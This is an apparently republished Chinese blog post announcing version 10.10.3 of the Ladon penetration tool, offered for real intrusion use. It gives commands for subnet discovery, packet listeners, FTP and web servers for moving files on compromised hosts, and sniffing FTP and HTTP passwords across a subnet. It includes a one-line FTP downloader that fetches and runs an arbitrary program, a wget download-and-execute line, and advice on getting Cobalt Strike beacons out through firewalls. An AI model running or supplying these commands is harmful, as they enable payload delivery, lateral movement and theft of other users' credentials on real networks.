Ladon 10.10.3 文件传输 抓包监听 嗅探密码
2023-4-13 08:9:13 Author: WIN哥学安全(查看原文) 阅读量:59 收藏

Ladon 10.10.3 20230410

[+]FtpServer    迷你FTP服务器,(支持windows/Linux自带ftp命令实现文件上传下载)                 默认21 admin admin 可自定义端口  自定义用户、密码[+]TcpServer    监听TCP发包数据 保存TXT和HEX 如SMB RDP HTTP SSH LDAP FTP等协议 [+]UdpServer    监听UDP发包数据 保存TXT和HEX 如DNS、SNMP等协议[+]ArpInfo        ARP协议探测存活主机IP和MAC,仅支持同一子网[u]WebServer    迷你WEB服务器[u]PortScan        移除9100端口

新增TCP、UDP监听服务器,用于捕获一些POC工具发包数据,由于没有模拟相关协议,无任何回复,需要握手成功才发包的协议可能就无法捕获POC数据,这种类型,老老实实使用WireShark抓包分析。

0x001 ARP协议探测存活主机IP、MAC地址

Ladon 192.168.1.18/c ArpInfo

更多协议,请使用InfoScan一键探测,使用该模块可全方位探测可达网段、出网协议、以及存活主机、设备、服务器、邮件系统、路由器等信息

0x002 TCP监听发包数据,如CS上线心跳包

Ladon TCP 800

0x003 UDP监听发包数据,如SNMP协议

Ladon UDP 161


0x004 迷你FTP服务器

Ladon FTP 21Ladon FTP 21 admin k8gege520

支持windows\linux系统自带FTP命令,支持文件上传、下载

图片演示使用windows系统连接列目录,实战自行将ftp转成一条命令,实现一键上传下载文件,当然下载也可以使用Ladon的web服务器,curl等命令比ftp更简单。

一行代码FTP下载者

echo open 127.0.0.1 >k&&echo admin>>k&&echo admin>>k&&echo binary >>k&&echo lcd c:\windows\temp>>k&&echo get a.dat >>k&&echo bye >>k&&ftp -s:k&&c:\windows\temp\a.dat&&del k /q /f&&del c:\windows\temp\a.dat&&exit

迷你FTP服务器的根目录在C:\users\public目录,所以我们复制calc.exe改名为a.dat到根目录,使用以上命令下载a.dat并执行,实战替成成任意程序。

内网中上传文件也是一样,大家自行改成一行命令

0x005  迷你Web服务器

Ladon web 800Laodn WebServer 800

下载执行

wget http://192.168.1.8/m.lnx;m.lnx

0x006  嗅探FTP密码

Ladon FtpSniffer 192.168.50.145

使用时填写被控机器IP,Ladon自动嗅探本机C段所有机器FTP用户密码,如下图演示,本机为50.145,无论是从50.85访问50.145,还是从本机自己访问自己,都能捕获到FTP登陆的用户和密码。实战中,如果管理员从50.200访问外网FTP服务器或者访问跨网段FTP服务器,也能捕获到外网FTP用户密码。因为捕获的是整个C段的FTP流量,向外发现,或者其它人访问C段机器。

注意若是C段没有主动访问跨访问机器FTP,或跨网段机器也不访问C段机器,就嗅探不到数据。简单一点就是你在192.168.50.145上启动FTP嗅探,嗅不到192.168.8.10访问192.168.8.99的FTP服务器密码,因为只能嗅探经过50网段机器的FTP信息,还有一种情况,管理员不访问FTP服务器,就算在C段里面也嗅不到FTP密码,所以也不是无脑使用FTP嗅探。

0x007  嗅探HTTP密码

用法与FTP嗅探一致,绑定本机IP,自动嗅探整个C段,使用HTTP协议传输的用户和密码,才能截取,使用HTTPS登陆的网站就无法嗅探到用户密码。HTTPS和HTTP的区别,主要是在HTTP基础上启用加密。

针对浏览器我们可以读取本机保存的相关站点用户密码,但不保存的密码无法读取,没有C段其它机器权限,也无法读取没有权限机器的密码,但通过嗅探,有可能获取到整个C段里其它机器的用户和密码。所以嗅探和读取没有谁能代替谁,实战根据情况,可能两者都用到。

科普:网络层协议都有哪些?传输层协议都有哪些?

常见的网络层协议包括:

1. IP协议:Internet协议,是互联网的基础协议,负责数据在网络中的传输。
2. ICMP协议:Internet控制报文协议,主要用于在IP网络中传递控制信息。
3. ARP协议:地址解析协议,用于将IP地址转换为MAC地址。
4. RARP协议:反向地址解析协议,用于将MAC地址转换为IP地址。

1. TCP协议:传输控制协议,提供可靠的、面向连接的数据传输服务。

2. UDP协议:用户数据报协议,提供不可靠的、无连接的数据传输服务。

3. SCTP协议:流控制传输协议,提供可靠的、面向连接的数据传输服务,并支持多流传输。

4. DCCP协议:数据报拥塞控制协议,提供不可靠的、面向连接的数据传输服务,并支持拥塞控制。

ICMP协议

ICMP(Internet Control Message Protocol)是一种独立于TCP和UDP的网络层协议。虽然ICMP和UDP都是在IP协议的基础上运行的,但它们的功能和作用不同。ICMP主要用于网络错误报告和网络管理,而UDP则是一种面向无连接的传输层协议,用于在网络上发送数据。

常用的TCP协议有:

1. HTTP:超文本传输协议,用于在Web浏览器和Web服务器之间传递文本、图片、视频等资源。

2. HTTPS:安全超文本传输协议,是HTTP的安全版,使用SSL/TLS加密协议进行通信。

3. FTP:文件传输协议,用于在计算机之间传输文件。

4. SMTP:简单邮件传输协议,用于电子邮件的传输。

5. POP3:邮局协议版本3,用于接收邮件。

6. IMAP:Internet消息访问协议,用于接收和管理电子邮件。

7. Telnet:远程终端协议,用于在远程计算机上执行命令。

8. SSH:安全外壳协议,用于在网络上安全地传输数据。

由于HTTP也是基于TCP协议实现,所以我们也可以监听HTTP协议数据包,如下图,截取到浏览器访问网页时请求的UserAgent等信息,因为我们只监听没有任何回应,所以浏览器访问无任何返回。


TCP服务器监听命令

Ladon TCP 8080Ladon TcpServer 8080

当然Ladon也有专门的WEB服务器,为了安全默认不允许列目录,加上dir我们可以列目录(没有dir没有首页,默认强制显示404,迷惑他人),方便本地搭环境时,上传下载到另一个虚拟机,如vmtools抽风没安装好时,当然内网渗透,需要传文件到目标也是同理。

迷你WEB服务器启动命令

Ladon Web 8080 dirLadon Web 800Ladon WebServer 80

有些人可能会问为什么HTTP协议基于TCP协议实现,实战时却经常遇到HTTP协议可出网,但TCP协议不可出网的机器?http能出网,TCP不应该也能出网吗?怎么说呢,富人也是人,他能买得起的东西,因为贵,不代表是个人就能买得起。都是TCP协议,目标防火墙做了策略只允许http协议出网,SMB或其它基于TCP协议的自然不允许出网,因为不同协议,协议头不一样,就是TCP发的数据包不一样。打个比方,就像某楼盘,看房资格是存款1000万,什么老板、老总和某个富人一样都是老板或老总,但是一查存款没有1000万, 就相当于不是http协议,自然就不让你看房了啊,不是说你是老总就一定是富人,也让你进场。小楼盘可能是个人都让你去看启,你身上有10元、1万还是100万,都让你进门。1000万很多人没有看房资格,白名单只允许HTTP,那非HTTP数据包的协议当然不能通过啊。

TCP协议能上线,HTTP协议就一定能上线吗?

大部份情况下,TCP能上线的机器,HTTP/S协议也能上线。就像穷人能买得起的东西,富人也随便买得起是一样的,TCP是底层协议,HTTP是应用层协议,基于TCP协议的应用,简单理解为富人利用穷人给他赚钱。但也有一种情况,防火墙限制HTTP协议,比如仇富之人,只把东西卖给穷人,据我10几年生涯来看,TCP能出网,HTTP协议被封的概率极低,印象中还没见过。实战真遇到这种情况,你连TCP协议都能出网,谁还用HTTP协议。随意用一个TCP协议都比HTTP操作流畅、高效、稳定很多倍,你觉得管理员蠢到关个狗洞,然后给你打开大门和其它窗口,让小偷随意进出?只禁一个协议,和只允许一个协议是不一样的,就像只禁止有10万存款的人看房,那有5万、5元、100万、80元等人都可以随便看,很明显这样的黑名单并不合理,所以实际上根本不会限制10万元的人看房。所以目标TCP协议能上线的,HTTP基本上都能上线,要是不能上线,就是M被针对了,所发数据包被拦,或M本身有问题。验证HTTP是否能出网非常简单,使用http协议访问正常网站,如百度、google,能正常访问到就代表http协议可出网。而不是拿一个有问题的M来衡量目标HTTP协议是否可用。

同理,我们也可以监听SMB数据,如Ladon探测MS17010所发的数据包

Ladon TCP 445Ladon TcpServer 445

ps: 监听445需关闭系统445服务,445占用,无法监听

常见的应用层协议使用UDP协议的有:

- DNS(Domain Name System,域名系统)
- DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)
- TFTP(Trivial File Transfer Protocol,简单文件传输协议)
- SNMP(Simple Network Management Protocol,简单网络管理协议)
- Syslog(系统日志服务)
- NTP(Network Time Protocol,网络时间协议)
- QUIC(Quick UDP Internet Connections,快速UDP网络连接协议)

UDP协议数据包监听,如SNMP探测,我们可监听到默认public团体名称

UDP服务器监听命令

Ladon UDP 161Ladon UdpServer 8080

本文所演示的命令,CS插件也支持,在Beacon命令行下Ladon用法与本文一致,如在CS上控的机器一键开启FTP服务器,然后通过命令行,将其它机器文件上传到跳板机。同理也可以在机器上监听特定端口,捕获其它人的payload,如本文演示的监听捕获MS17010漏洞检测POC,SNMP协议探测系统信息等,所以大家至少要了解相关协议、端口。

不熟悉Ladon命令的,可以使用Ladon Study一键使用,可当作学习模式。勾选复制命令,点击按钮就会执行对应功能,并在后台复制对应Ladon命令,可直接在CMD粘贴使用。对于监听模块,监听端口可写在目标文本框中。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwODM3NjIxOQ==&mid=2247491612&idx=3&sn=e0cc0d4660571ae24cc96a284ff82def&chksm=c0c841e8f7bfc8fe7d2c18846cf983ac2fcff8ee619e26ed30fce6a79260bfa9f2188aa9b6eb#rd
如有侵权请联系:admin#unsafe.sh